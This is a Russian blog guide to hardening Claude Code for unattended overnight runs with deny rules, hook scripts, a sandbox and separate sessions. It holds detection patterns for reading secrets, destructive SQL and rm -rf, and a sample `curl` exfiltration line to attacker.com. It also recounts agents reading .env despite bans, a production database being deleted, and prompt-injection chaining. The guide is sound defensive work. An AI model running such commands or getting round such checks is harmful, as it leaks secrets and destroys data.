# Как защитить проект при ночной работе Claude Code: 7 хуков
> Практическое руководство по безопасной автономной работе Claude Code: 7 хуков, настройки permissions и 12 проверок перед ночным запуском, чтобы снизить риск утечки секретов и повреждения базы данных.
Source: https://ailoot.ai/blog/ru/claude-code-safe-overnight-setup/
Canonical: https://ailoot.ai/blog/ru/claude-code-safe-overnight-setup/
Language: ru
Publisher: Ailoot (https://ailoot.ai/)
Translation: guide-154
Revision: sha256-7818114b76ed9f24b18b8a1aa8f1b3c35f8dbf5cd3bb488a4beba5a14716404b
[Документация Ailoot](https://ailoot.ai/docs/) — справочные материалы по работе с сервисом.
## Что изменилось в 2026 году: автономный Claude Code и риски
В 2026 году Anthropic представила `auto-mode`, `/loop` и `/schedule`: Claude Code может выполнять задачи часами без постоянных подтверждений. Такая автономность повышает цену ошибок: возможны удаление производственных баз и утечки `.env`, а в работе `permissions.deny` описывали сбои. Ниже разобраны четыре уровня защиты, которые стоит настроить до первого ночного запуска.
Раньше Claude Code после каждого ответа ждал разрешения на запись. Это замедляло работу, зато агент не мог продолжить без вашего подтверждения. В 2026 году Anthropic представила `auto-mode`: отдельный классификатор оценивает, следует ли разрешить каждое действие. Команды `/loop` запускают повторение запроса через заданные интервалы в рамках сессии, а `/schedule` предназначена для долгих задач по расписанию. Сессии в фоне можно запустить командой `claude --bg`. Подробнее об автономном режиме см. в руководстве [«/goal в Claude Code: автономный режим и Agent View»](https://ailoot.ai/blog/ru/claude-code-goal-agent-view/).
Автономность развивается быстрее, чем защитные механизмы. В апреле 2026 года описывался случай, когда разработчик оставил Cursor с Claude Opus 4.6 в режиме `--dangerously-skip-permissions` на ночь. За девять секунд один вызов Railway API удалил производственную базу и резервные копии на уровне тома. Этот инцидент показывает, насколько серьёзными могут быть последствия неограниченного доступа.
Также в репозитории Anthropic были зарегистрированы две проблемы, о которых следует помнить при настройке `permissions.deny` в `settings.json`:
- **Issue \#44868** (7 апреля 2026 года): Claude Code, согласно сообщению об ошибке, вывел содержимое `.env` в транскрипт через `grep -n`, несмотря на запрет в `CLAUDE.md`. Проблема отмечена как открытая.
- **Issue \#24846** (11 февраля 2026 года): согласно сообщению, правило `permissions.read.deny` с шаблоном `.env*` не остановило инструмент `Read` от чтения `.env.local`. Issue закрыта как дубликат; исправление в предоставленных сведениях не указано.
Один слой settings.json недостаточен. Четыре слоя — permissions, hooks, sandbox и отдельные сессии — уменьшают риск, но не делают остальные полными. Оценка auto-mode не доказывает, что регулярное выражение поймает его пропуски. Для production нужны отдельная среда ОС без рабочих ключей и записи, сетевые ограничения вне модели и проверка границ до ночного запуска.
## Чем отличаются зелёная и красная зоны проекта?
Зелёная зона — локальный проект без действующих клиентов и платежей. Красная зона — проект с производственной базой, оплатами или личными данными. Для первой может быть достаточно `auto-mode` и небольшого числа хуков; для второй рекомендуется сочетать четыре уровня защиты и не использовать `--dangerously-skip-permissions`.
Настраивать одинаковую защиту для всех проектов нерационально. Локальный эксперимент без доступа извне несёт иной риск, чем сервис с реальными платежами и данными клиентов. Слишком строгие правила могут замедлить работу в безопасной среде, а в среде с высокой ценой ошибки всё равно оставить пробелы.
Проект переходит из зелёной зоны в красную, если выполнено хотя бы одно из трёх условий: появились реальные клиенты, начались денежные операции или в базе стали храниться личные данные. До этого момента могут подойти `auto-mode`, несколько хуков и работа без sandbox. После перехода следует усилить защиту по схеме из этого руководства.
Главный ориентир — не стадия разработки, а последствия возможной ошибки. Локальный проект с тестовой учётной записью Stripe остаётся в зелёной зоне. Сервис с одним платящим клиентом и регистрационной формой уже относится к красной, даже если он считается черновиком. Ранние проекты часто откладывают защиту до запуска, хотя первый клиент может появиться уже на следующей неделе.
## Как устроены permissions в settings.json?
В `settings.json` правило `deny` имеет приоритет над `allow`, а настройки разных уровней — user, project, local и managed — объединяются. Пользовательский запрет на `.env`, `*.pem` и `~/.ssh/**` действует и в других репозиториях. Параметр `disableBypassPermissionsMode` позволяет запретить режим обхода разрешений.
В [официальной документации Anthropic](https://code.claude.com/docs/en/settings) порядок проверки описан так: сначала проверяются запреты, затем запрос подтверждения и разрешения. При совпадении с правилом `deny` действие запрещается, даже если есть совпадающее `allow`. Например, если в `~/.claude/settings.json` запрещено читать `.env`, разрешение в настройках проекта не отменит этот запрет.
Пример базовой настройки `~/.claude/settings.json` на пользовательском уровне:
```json
{
"permissions": {
"deny": [
"Read(./.env)",
"Read(./.env.*)",
"Read(**/.env)",
"Read(**/.env.*)",
"Read(*.pem)",
"Read(*.key)",
"Read(**/credentials*.json)",
"Read(~/.ssh/**)",
"Read(~/.aws/**)",
"Read(~/.gnupg/**)"
]
},
"disableBypassPermissionsMode": "disable"
}
```
Первые шесть правил запрещают чтение указанных секретных файлов в текущей папке и вложенных каталогах. Файлы `*.pem` и `*.key` часто содержат TLS- или SSH-ключи, а `credentials*.json` — учётные данные. Последние три правила ограничивают доступ к каталогам SSH, AWS и GPG.
Параметр `disableBypassPermissionsMode: "disable"` отключает флаг `--dangerously-skip-permissions`, также называемый YOLO-режимом. Это не позволяет случайно включить обход разрешений через скрипт или alias: Claude Code должен отклонить такой запуск с сообщением о том, что режим отключён управляемыми настройками.
С версии 2.1.142 параметр `defaultMode: "auto"`, если он задан в настройках проекта или локальных настройках, игнорируется. Это препятствует автоматическому включению режима в чужом репозитории без согласия пользователя: согласно документации Anthropic, репозиторий не может самостоятельно включить auto-mode.
Это первый уровень защиты, но он не закрывает все возможные пути чтения секретов. Следующие разделы объясняют его ограничения и дополнительные меры.
## Почему permissions.deny может быть недостаточно: два сообщения о проблемах
В сообщении об issue \#44868 от 7 апреля 2026 года описан вывод содержимого `.env` через `grep -n` в транскрипт, несмотря на запрет в `CLAUDE.md`. В issue \#24846 от 11 февраля 2026 года сообщалось, что `permissions.read.deny` с шаблоном `.env*` не остановил инструмент `Read`. Эти сообщения служат основанием дополнить `settings.json` хуками.
Если бы `permissions.deny` останавливало любой способ доступа к секретам, предыдущего раздела было бы достаточно. Но ограничения инструмента не заменяют все остальные меры.
Issue \#44868 (7 апреля 2026 года): в сообщении указано, что пользователь запретил в `CLAUDE.md` читать `.env`, `.dev.vars` и другие файлы с секретами. Вместо инструмента чтения Claude запустил `grep -n SOMETHING .env`. Команда `grep -n` выводит строку целиком вместе с номером, поэтому в результат может попасть API-токен. Вывод инструмента попадает в `tool_result`, отображается в транскрипте сессии и сохраняется в истории.
Issue \#24846 (11 февраля 2026 года): автор сообщил, что в `permissions.read.deny` был указан шаблон `**/.env*`, но после просьбы прочитать `.env.local` инструмент `Read` выполнился и показал содержимое файла.
Issue закрыта как дубликат. В исходном материале указано, что на момент его подготовки в июне 2026 года проблему можно было воспроизвести.
Практический вывод: настройки в `settings.json` остаются полезным первым барьером, однако они могут не перехватить команды Bash вроде `cat .env`, `grep API_KEY .env` или `head .env`, случаи сбоя проверки правил и некоторые способы просмотра истории Git, например `git diff` или `git show` для коммита с файлом `.env`. Поэтому рекомендуется добавить второй уровень — хуки.
## Как хуки блокируют распознанные опасные действия?
Хуки Claude Code — это shell-скрипты, запускаемые при событиях вроде `PreToolUse`, `UserPromptSubmit` и `Stop`. Они могут заблокировать действие кодом выхода 2 либо JSON-ответом с `permissionDecision: "deny"`. Хук проверяет вызов до его выполнения и не полагается на решение модели.
Хуки и permissions действуют на разных этапах. Permissions учитываются при выборе действия. Хук запускается после того, как модель решила вызвать инструмент, но до передачи вызова системе: он проверяет входные данные и либо разрешает, либо останавливает операцию. Решение принимает написанный вами shell-код.
В [официальной документации хуков Claude Code](https://code.claude.com/docs/en/hooks) описано блокирующее поведение:
Код выхода 2 обозначает блокирующую ошибку. Claude Code не использует stdout и JSON из него; текст из stderr передаётся Claude как сообщение об ошибке.
— Документация Claude Code (Hooks)
Корректно настроенный блокирующий PreToolUse с кодом2 отклоняет совпавший вызов. Это не доказывает распознавание каждой опасной эквивалентной команды. Stderr объясняет причину отказа, но охват скрипта нужно проверить отдельно.
События, для которых можно использовать код выхода 2:
- `PreToolUse` — останавливает вызов инструмента до выполнения. Это основное событие для защитных хуков.
- `PermissionRequest` — отклоняет запрос разрешения на действие.
- `UserPromptSubmit` — блокирует и удаляет пользовательский запрос. Может пригодиться, если в нём обнаружен подозрительный текст, например попытка внедрения инструкции из письма.
- `Stop` — не позволяет завершить сессию. Это можно использовать, чтобы продолжать работу до выполнения заданного условия.
- `PreCompact` — запрещает автоматическое сжатие контекста, например до принятия решения о сохранении транскрипта.
- `WorktreeCreate` — отклоняет создание worktree, если требуется запретить клонирование репозитория в неожиданное место.
Вместо кода выхода 2 хук может вернуть JSON с полем `hookSpecificOutput.permissionDecision`. Возможны четыре значения:
- `allow` — явно разрешает действие и обходит обычную проверку разрешений.
- `deny` — блокирует действие; для `PreToolUse` это эквивалент кода выхода 2.
- `ask` — передаёт вопрос пользователю для подтверждения.
- `defer` — оставляет решение обычной логике разрешений.
JSON позволяет точнее управлять поведением. Например, `permissionDecision: "ask"` требует подтверждения для операции, которая иначе прошла бы автоматически. Так можно настроить установку новых пакетов и изменение lockfile.
Подробное описание хуков и поддерживаемых событий приведено в руководстве [«Хуки в Claude Code: 7 готовых правил под копипаст»](https://ailoot.ai/blog/ru/claude-code-hooks/). Ниже — примеры для автономной работы.
## Какие семь хуков настроить для ночной работы?
Иллюстративные PreToolUse-примеры проверяют выбранные секретные чтения, буквальные git push, некоторые SQL и rm -rf, зависимости и журналы вызовов. До включения локально испытайте совпадения и пропуски. Регулярные выражения неполны и не создают границу безопасности production. Для JSON нужен jq.
Это второй уровень защиты. Скрипты размещаются в `.claude/hooks/` и подключаются через `.claude/settings.json`; для обработки JSON нужен установленный `jq`.
### Хук 1: запрет чтения .env, .pem и credentials.json
Дополнительная проверка выбранных путей Read и распространённых команд чтения секретов через Bash. Она не охватывает любой инструмент и способ чтения. Файл `.claude/hooks/block-secret-reads.sh`:
```bash
#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')
# Read tool с подозрительным путём
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Secret file. Use op:// references or env vars."
}
}'
exit 0
fi
# Bash, который читает секрет через cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Reading secrets via shell is blocked."
}
}'
exit 0
fi
exit 0
```
Подключите его в `.claude/settings.json`:
```json
{
"hooks": {
"PreToolUse": [
{
"matcher": "Read|Bash",
"hooks": [{
"type": "command",
"command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
}]
}
]
}
}
```
Установите право запуска через chmod +x .claude/hooks/block-secret-reads.sh. Испытывайте только на безвредном тестовом секрете в изолированной среде, не на настоящем .env.local. Проверьте и совпадения, и пропуски, не выводя рабочие ключи.
### Хук2: блокировка буквальных git push в ночной сессии
Для автономной сессии пример консервативно блокирует все распознанные буквальные git push, включая ветки функций. Он не определяет текущую ветку и безопасность force-флага. Файл `.claude/hooks/block-force-push.sh`:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
}
}'
fi
exit 0
```
Подключите через PreToolUse с matcher Bash. Пример распознаёт `git push --force origin main`, `git push origin main --force`, `git push -f`, `git push origin HEAD:main` и буквальную отправку внутри цепочек && или ;. Это примеры строк для офлайн-проверки, не команды удалённому репозиторию.
Это текстовая эвристика. Алиасы Git, shell-функции, `git -C ... push`, составленные имена команд, скрипты и другие инструменты могут обойти её. Это не полный разбор оболочки. На Git-сервере настройте защищённые ветки и уберите обходящие их ключи. Автономную работу запускайте в изолированной среде без записи production. Промах hook не предоставляет таких полномочий.
### Хук 3: блокировка разрушительных SQL-операций
Этот пример запрещает некоторые операции изменения схемы и удаления строк без условия. Файл `.claude/hooks/block-destructive-sql.sh`:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
}
}'
exit 0
fi
# DELETE FROM без WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
}
}'
exit 0
fi
# UPDATE без WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
}
}'
exit 0
fi
exit 0
```
Зарегистрируйте его для `PreToolUse` с matcher `Bash`. Операции `DROP` и `DELETE` без `WHERE` блокируются, а `UPDATE` без `WHERE` требует подтверждения. Последний случай иногда нужен, например при миграции, но его область действия следует проверить вручную.
### Хук 4: фильтр команд rm -rf
В примере используется модель хука из документации Anthropic с запретом слишком широких команд:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# rm -rf /, ~, $HOME, * без явного scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
}
}'
fi
exit 0
```
Хук пропускает команды с явно заданной целью, например `rm -rf node_modules` и `rm -rf .next/cache`. Он блокирует варианты с широким охватом, включая `rm -rf .`, `rm -rf /` и `rm -rf ~`.
### Хук 5: запрос подтверждения для новых пакетов
Хук позволяет запускать установку по lockfile без подтверждения, но запрашивает одобрение при добавлении новой зависимости:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# Установка зависимостей по lockfile - пропускаем
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
exit 0
fi
# Добавление новых пакетов
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "Adding new dependency. Confirm package name and version."
}
}'
fi
exit 0
```
Такой подход пропускает команды установки по списку зависимостей, а при добавлении пакета просит подтвердить его название и версию. Перед запуском стоит проверить содержимое самого файла зависимостей и закреплённые в нём версии.
### Хук 6: запрос подтверждения при изменении package.json и lockfile
Изменения манифеста зависимостей стоит проверять вручную, особенно после автономного запуска.
```bash
#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')
if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
}
}'
fi
exit 0
```
Зарегистрируйте этот хук для `PreToolUse` с matcher `Write|Edit`.
### Хук 7: аудит вызовов Bash, Write и Edit
Для разбора ночных событий полезен последовательный журнал. В этом примере отдельный скрипт не нужен: регистрацию и запись выполняет команда с `jq`.
```json
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash|Write|Edit",
"hooks": [{
"type": "command",
"command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
}]
}
]
}
}
```
Файл `.claude/audit.jsonl` пополняется по одной записи на строку. После ночного `/loop` можно выполнить `tail -n 100 .claude/audit.jsonl | jq`, чтобы просмотреть зафиксированные команды и их последовательность. Такой журнал упрощает разбор событий, когда полный транскрипт сессии слишком велик.
## Как sandbox и worktree изолируют долгие сессии?
Sandbox в Claude Code ограничивает доступ к файловой системе и сети. По данным Anthropic, внутренние измерения показали сокращение запросов на разрешение на 84%. Сетевая изоляция может препятствовать отправке `.env` на сервер, если его адрес не входит в список разрешённых. Для долгих фоновых сессий рекомендуется сочетать sandbox с worktree.
Хуки проверяют отдельные операции, а sandbox задаёт более широкие пределы доступных файлов и сетевых соединений. Это дополнительная защита на случай, если конкретный хук не распознал действие.
В публикации Anthropic о sandboxing от 20 октября 2025 года приведены результаты внутренних измерений:
По нашим внутренним данным, sandboxing безопасно снижает количество запросов на одобрение на 84%.
— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-sandboxing
Anthropic связывает сокращение запросов с тем, что изолированные действия могут выполняться в заданных пределах. Это может ускорить работу, но основное назначение sandbox — ограничивать доступ.
Sandbox предоставляет два вида изоляции:
**Изоляция файловой системы** ограничивает чтение и запись разрешёнными каталогами. Если правила sandbox настроены соответствующим образом, попытки обратиться к `/etc/hosts` или `~/.ssh/id_rsa` будут остановлены на уровне операционной системы.
**Изоляция сети** разрешает подключения только к указанным адресам. Это может помешать отправке прочитанного содержимого наружу. Например, если инструкция из внешнего файла побудит Claude прочитать `.env` и выполнить `curl -X POST attacker.com -d "$ENV_CONTENT"`, соединение не должно пройти, если `attacker.com` не включён в список разрешённых узлов.
В Claude Code sandbox запускается командой `/sandbox`. Пример настроек в `~/.claude/settings.json`:
```json
{
"sandbox": {
"filesystem": {
"allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
"deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
},
"network": {
"allow": [
"api.anthropic.com",
"github.com",
"registry.npmjs.org",
"pypi.org"
]
}
}
}
```
Для фоновых запусков через `claude --bg` можно добавить изоляцию worktree. В исходном материале описано, что фоновая сессия создаётся в отдельном `.claude/worktrees//` и работает в собственной ветке. Это помогает избежать конфликтов записи между параллельными сессиями. О worktree также говорится в руководстве [«Agent View и worktrees: автономный режим Claude Code»](https://ailoot.ai/blog/ru/claude-code-goal-agent-view/).
Хорошая практика для параллельной работы — сохранять проверку основной ветки за человеком, а изолированные задачи запускать в отдельных worktree.
Sandbox дополняет цикл обратной связи: ограничения сдерживают доступные агенту действия, а тесты и другие проверки помогают выявлять ошибки в результатах.
## В каких случаях подходит auto-mode 2026 года?
Auto-mode Claude Code использует классификатор на основе модели, чтобы принимать решения о разрешениях по правилам Anthropic. В предоставленной статье указаны false-negative rate 17% для опасных действий и остановка после трёх последовательных или 20 общих отказов классификатора. В локальном проекте этот режим может заменить часть ручных подтверждений; для проектов с высокими ставками его стоит сочетать с дополнительными правилами.
В марте 2026 года Anthropic представила auto-mode как промежуточный вариант между ручным рассмотрением каждого запроса и работой без защитных ограничений. Классификатор на основе Sonnet 4.6 оценивает действия Claude до их выполнения. В блоге Anthropic Engineering механизм описан так:
Auto-mode — новый режим Claude Code, в котором решения о разрешении передаются модельным классификаторам. Он занимает промежуточное положение между ручным рассмотрением и отсутствием защитных ограничений.
— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode
У auto-mode есть два указанных ограничения:
- После трёх последовательных или 20 суммарных отказов классификатора сессия останавливается и передаёт решение человеку. Это ограничивает повторные попытки выполнить запрещённое действие.
- Согласно исходному материалу, режим разрешает действия, близкие к 93% типичных операций, которые пользователи обычно одобряют. Это уменьшает число запросов, но само по себе не гарантирует безопасность необычных действий.
Отдельно в материалах Anthropic приводится следующий показатель:
False-negative rate на реальных чрезмерно настойчивых действиях составляет 17%.
— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode
Заявленные17% — доля ложных отрицаний конкретной оценки, не вероятность каждого действия вашего проекта. Она не доказывает покрытие пропусков примерными hooks. В красной зоне нужны принудительная изоляция секретов и записи production, защищённые ветки и ключи без обхода.
Используйте hooks дополнительными проверками в одноразовой восстанавливаемой среде. Даже локальный проект содержит неотслеживаемые файлы или ключи, которые Git не восстановит. В красной зоне промах должен сдерживаться настоящими правами: набор regex не превращает произвольную оболочку в гарантированно безопасную.
## Зачем разделять задачи между тремя типами сессий?
Опасная цепочка может состоять из нескольких обычных операций: прочитать `.env`, обработать входящее письмо и отправить HTTP-запрос. Вместе эти действия могут привести к утечке данных. Риск снижается, если разделить задачи между сессиями с разными правами доступа.
Три вида задач рекомендуется выполнять в отдельных сессиях:
**Тип 1: работа с личными данными.** Сессия может обращаться к производственной базе, отправлять электронные письма и использовать учётные данные. Ей не следует обрабатывать внешние документы — письма, PDF-файлы и веб-страницы — или отправлять данные на произвольные адреса.
**Тип 2: обработка внешних документов.** Такая сессия может разбирать входящие письма, загружать веб-страницы и читать PDF из электронной почты. При этом у неё нет доступа к базе личных данных, а отправка информации наружу требует явного подтверждения.
**Тип 3: публикация.** Сессия может размещать сообщения в социальных сетях, отправлять рассылки или создавать pull request. Ей не нужны доступ к личным данным и обработка входящего контента.
Разделение ограничивает последствия prompt injection во внешнем документе. Если одна сессия одновременно читает PDF, обращается к базе клиентов и отправляет письма, вредоносная инструкция в документе может связать эти возможности в одну цепочку. Отдельные сессии уменьшают число прав, доступных в одном контексте.
На практике для разных типов задач можно настроить отдельные каталоги `.claude` и проекты Claude Code. Например, конфигурация для работы с данными может разрешать внутренние API, но запрещать прочую сеть; сессия обработки входящих документов может работать без сетевого доступа; сессия публикации — иметь доступ лишь к необходимым API.
## Какие 12 проверок выполнить перед /loop?
Перед запуском `/loop`, `/schedule` или `claude --bg` проверьте 12 пунктов: пользовательские запреты, отключение обхода permissions, защитные хуки, аудит, работу в отдельном worktree, sandbox и проверку результата. Если необходимая мера не настроена, отложите ночной запуск до её настройки.
1. Настройте `~/.claude/settings.json` с пользовательским `deny` для `.env*`, `*.pem`, `*.key`, `credentials*.json`, `~/.ssh/**` и `~/.aws/**`. Это базовый уровень защиты.
2. Добавьте `disableBypassPermissionsMode: "disable"` в `~/.claude/settings.json`, чтобы запретить YOLO-флаг.
3. Примеры block-secret-reads.sh испытаны на выбранных строках чтения; настоящие секреты и рабочие ключи недоступны автономной среде.
4. Пример block-force-push.sh блокирует распознанные буквальные отправки независимо от флагов и назначения. Защищённые ветки и ключи без обхода обеспечены Git-сервером.
5. Установите `block-destructive-sql.sh` для блокировки `DROP TABLE`, `TRUNCATE` и `DELETE FROM` без `WHERE`.
6. Настройте хук `block-rm-rf.sh`, чтобы он блокировал `rm -rf` без явно заданного пути.
7. Добавьте хук `ask-on-new-deps.sh`, который требует подтверждения при `npm install `, отличая эту команду от `npm install` без аргументов.
8. Настройте `ask-on-lockfile-change.sh` для проверки изменений в `package.json`, `pnpm-lock.yaml`, `requirements.txt`, `pyproject.toml` и `Cargo.toml`.
9. Включите общий журнал `audit.jsonl` для вызовов Bash, Write и Edit. Он пригодится для последующего разбора событий.
10. Запускайте долгие фоновые сессии в worktree, а не в основной ветке. `claude --bg "task"` может автоматически создавать worktree; проверьте, что в `settings.json` не задано `worktree.bgIsolation: "none"`.
11. Перед долгой автономной задачей запустите `/sandbox`. Ограничьте файловый доступ директорией проекта и `/tmp`, а сеть — списком нужных адресов, например `api.anthropic.com`, `github.com` и `registry.npmjs.org`.
12. Добавьте этап проверки результата в саму задачу: после каждого крупного изменения запускайте тесты или линтер. Если проверка не проходит, сначала исправьте проблему.
Последний пункт относится к процессу работы, а не к параметрам инструмента. Важно, чтобы Claude мог проверять результат. Без такой проверки агент может продолжать работу, накапливая ошибки; с ней следующий этап начинается после успешного теста или линтера.
## Семь антипаттернов: чего следует избегать
К частым ошибкам относятся запуск `--dangerously-skip-permissions` при доступе к производственной среде, использование `CLAUDE.md` как единственного механизма защиты и доверие к `permissions.deny` без хуков. Также рискованно полагаться только на auto-mode, не вести журнал и запускать фоновые задачи без изоляции.
**1. Запуск `--dangerously-skip-permissions` на компьютере с доступом к production.** Описанный выше случай показывает, что одна команда может привести к удалению производственной базы. Если подобный инцидент уже произошёл, следуйте пошаговому плану восстановления из руководства [«Что делать, если ИИ удалил базу данных: чек-лист восстановления»](https://ailoot.ai/blog/ru/ai-deleted-database-recovery/).
**2. Использование только `CLAUDE.md` для защиты.** Сообщение об issue \#44868 описывало ситуацию, когда команда была выполнена до предупреждения модели. Текстовая инструкция задаёт контекст, но не блокирует вызов инструмента. Правильно настроенный hook блокирует совпавшие вызовы, а ОС, sandbox и ограничения сервисов обеспечивают более широкие границы. О настройке файла `CLAUDE.md` подробнее рассказывает руководство [«Как правильно настроить CLAUDE.md»](https://ailoot.ai/blog/ru/kak-nastroit-claude-md/).
**3. Использование `permissions.deny` без хука.** Issue \#24846 описывала чтение `.env.local` при наличии правила для `.env*`. Хук может служить дополнительной проверкой команд Bash.
**4. Считать auto-mode и regex-hooks изоляцией production.** Доля ложных отрицаний относится к отдельной оценке, а охват hooks неполон. Уберите ключи записи production и проверьте принудительную границу вместо расчёта на перехват любой опасной операции.
**5. Установка новых пакетов без подтверждения.** Вредоносные пакеты с именами, похожими на названия популярных библиотек, могут появляться в реестрах. Используйте проверку новых зависимостей и контролируйте их версии.
**6. Отсутствие журнала вызовов Bash.** Без аудита сложнее восстановить последовательность ночных действий. Транскрипт может быть длинным, тогда как `.claude/audit.jsonl` позволяет просматривать события по строкам.
**7. Работа фоновых сессий без worktree.** Параллельные процессы в одном рабочем каталоге могут одновременно менять одни файлы. Проверьте настройку `worktree.bgIsolation`; в исходном материале указано, что по умолчанию она включена начиная с версии 2.1.143.
Ни один хук не заменяет предусмотрительность при выборе доступа для агента. Перед автономным запуском важно оценить, какие ресурсы доступны сессии и какие последствия будет иметь ошибка.
### Источники
- [Anthropic Claude Code Settings — официальная документация](https://code.claude.com/docs/en/settings)
- [Anthropic Claude Code Hooks — официальная документация](https://code.claude.com/docs/en/hooks)
- [Anthropic Claude Code Security — официальная документация](https://code.claude.com/docs/en/security)
- [Anthropic Engineering: sandboxing в Claude Code (20.10.2025)](https://www.anthropic.com/engineering/claude-code-sandboxing)
- [Anthropic Engineering: auto-mode и классификатор безопасности (25.03.2026)](https://www.anthropic.com/engineering/claude-code-auto-mode)
- [Claude Code CHANGELOG (версии 2.1.157, 2.1.160)](https://raw.githubusercontent.com/anthropics/claude-code/main/CHANGELOG.md)
Подготовка к автономной работе включает настройку контекста: заранее задайте доступные агенту файлы, инструменты и сетевые адреса. Это помогает удерживать работу в заданных пределах.
Дополнительные материалы — на [Ailoot](https://ailoot.ai/).
## Вопросы и ответы
### Защитит ли force-push hook production от любой команды оболочки?
Нет. Пример блокирует распознанные буквальные git push, включая разный порядок флагов, неявные ветки, refspec и цепочки. Алиасы, обёртки и составленные команды обходят текстовый фильтр. Защитите ветки и уберите ключи обхода.
### Что нужно перед ночным автономным запуском?
Изолированная среда без записи production и читаемых секретов, проверенные сеть и права сервисов, испытанные совпадения и пропуски hook. Hooks дополняют эти границы, а не заменяют их.
## Ailoot · Компания и портфель её проектов
Ailoot опирается на накопленный опыт работы, большую клиентскую базу, стабильный сервис и постоянный контроль KPI.
Компания и портфель её проектов: миллионы клиентов; продажи на миллиарды ежемесячно.
Этот опыт Ailoot использует для API-доступа к нейросетям в продуктах клиентов, агентах, приложениях и автоматизациях.